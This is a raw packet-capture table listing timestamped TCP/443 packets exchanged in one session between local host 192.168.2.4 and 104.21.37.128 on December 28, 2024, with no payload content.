Dec 28, 2024 04:24:06.049190044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.054188967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.054203987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.054266930 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.054275036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.054311991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.060089111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.060105085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.060189009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.060199022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.060245991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.065532923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.065548897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.065604925 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.065615892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.065661907 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.071399927 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.071415901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.071490049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.071505070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.071552038 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.233812094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.233829021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.233961105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.233973980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.234081984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.239171028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.239183903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.239273071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.239279985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.239335060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.244934082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.244947910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.245117903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.245124102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.245168924 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.250756979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.250770092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.250837088 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.250844955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.250879049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.258409977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.258424044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.258487940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.258493900 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.258528948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.262428999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.262443066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.262571096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.262590885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.262644053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.268013954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.268029928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.268120050 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.268126965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.268165112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.273716927 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.273730993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.273809910 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.273816109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.273861885 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.435162067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.435178995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.435240030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.435260057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.435298920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.440453053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.440466881 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.440510988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.440519094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.440551996 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.440567017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.448753119 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.448766947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.448812962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.448820114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.448862076 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.452929974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.452944040 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.453013897 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.453022957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.453083992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.457957983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.457973957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.458010912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.458019018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.458051920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.458061934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.464627028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.464642048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.464740992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.464752913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.464799881 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.470179081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.470195055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.470273018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.470284939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.470324993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.474258900 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.474272013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.474356890 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.474370003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.474421978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.636657953 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.636681080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.636787891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.636807919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.636935949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.641774893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.641789913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.641860008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.641871929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.641911030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.647680044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.647694111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.647762060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.647768974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.647809029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.653377056 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.653390884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.653484106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.653490067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.653532982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.658523083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.658538103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.658610106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.658617020 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.658658028 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.664683104 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.664696932 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.664767027 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.664773941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.664813042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.669806004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.669821978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.669879913 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.669887066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.669925928 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.675674915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.675687075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.675750017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.675756931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.675807953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.838037968 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.838053942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.838109016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.838135958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.838179111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.843195915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.843209982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.843267918 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.843275070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.843317032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.849050999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.849064112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.849128008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.849134922 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.849172115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.854765892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.854779005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.854834080 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.854840994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.854875088 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.859975100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.859987974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.860049963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.860058069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.860095024 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.866103888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.866120100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.866189003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.866197109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.866235018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.871246099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.871264935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.871325970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.871330976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.871371984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.877233028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.877245903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.877307892 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.877314091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.877352953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.039563894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.039580107 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.039644957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.039664030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.039702892 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.045233011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.045248032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.045312881 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.045320034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.045356989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.050384998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.050400019 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.050462008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.050470114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.050508976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.056190014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.056206942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.056278944 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.056286097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.056309938 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.056325912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.061968088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.061981916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.062047005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.062052965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.062107086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.067435980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.067457914 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.067508936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.067516088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.067547083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.067570925 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.073273897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.073292017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.073383093 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.073393106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.073436022 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.078419924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.078440905 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.078524113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.078537941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.078584909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.240966082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.240983009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.241069078 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.241084099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.241126060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.246118069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.246134043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.246205091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.246212006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.246256113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.251965046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.251980066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.252048969 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.252057076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.252094030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.257735968 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.257750988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.257838011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.257843971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.257888079 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.262865067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.262881994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.262953997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.262960911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.263003111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.269052029 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.269068003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.269134045 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.269140005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.269181013 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.274157047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.274172068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.274234056 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.274240971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.274279118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.280050993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.280071020 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.280133963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.280141115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.280184984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.442298889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.442321062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.442405939 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.442426920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.442473888 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.448178053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.448194981 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.448256016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.448266029 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.448295116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.448306084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.453263044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.453279018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.453346014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.453356028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.453394890 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.459033012 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.459049940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.459134102 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.459146023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.459187031 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.464911938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.464927912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.464998960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.465009928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.465049028 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.470330000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.470345974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.470410109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.470421076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.470464945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.476180077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.476197958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.476258993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.476272106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.476314068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.481338978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.481359959 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.481425047 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.481435061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.481476068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.643464088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.643484116 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.643548965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.643562078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.643604040 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.649132967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.649149895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.649208069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.649214983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.649255991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.654999018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.655014992 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.655077934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.655083895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.655127048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.660131931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.660156012 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.660280943 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.660289049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.660335064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.665925026 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.665949106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.665998936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.666009903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.666034937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.666054964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.671462059 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.671485901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.671538115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.671549082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.671559095 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.671581984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:07.677200079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:07.677236080 CET	443	49752	104.21.37.128	192.168.2.4
